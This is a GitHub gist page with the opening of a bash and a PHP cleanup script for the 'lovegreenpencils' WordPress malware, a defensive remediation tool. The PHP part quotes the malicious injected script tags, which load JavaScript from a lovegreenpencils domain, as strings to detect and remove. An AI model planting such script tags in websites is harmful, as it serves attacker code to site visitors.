Skip to content

Instantly share code, notes, and snippets.

View abelbarraza3's full-sized avatar
😃

Abel Barraza abelbarraza3

😃
  • Imperva
View GitHub Profile
@black-dragon74
black-dragon74 / FixLoveGreenPencilsMalware.sh
Created December 2, 2020 21:04
Fixes love green pencils wordpress malware
#!/bin/bash
# Regex to fix DB is: "s/<script[\s\S]*?>[\s\S]*?<\/script>//g"
totalInfections=0
filesProcessed=0
echo "Welcome to lovegreenpencils malware fixer by black-dragon74"
echo "This fix is divided into 3 phases."
echo "Phase 1 fixes the \`beckup\` files."
<?php
define('NOTFOUND', -1);
define('REMOVED', -2);
define('EXISTNT', -3);
define('ERROR', -4);
// This is found in the database.
$Script_A = "<script src='https://port.lovegreenpencils.ga/m.js?n=ns1' type='text/javascript'></script>";
// Thrown on indexs
$Script_D = "<script type='text/javascript' src='https://port.lovegreenpencils.ga/m.js?n=nb5'></script>";
// This is found in JS files.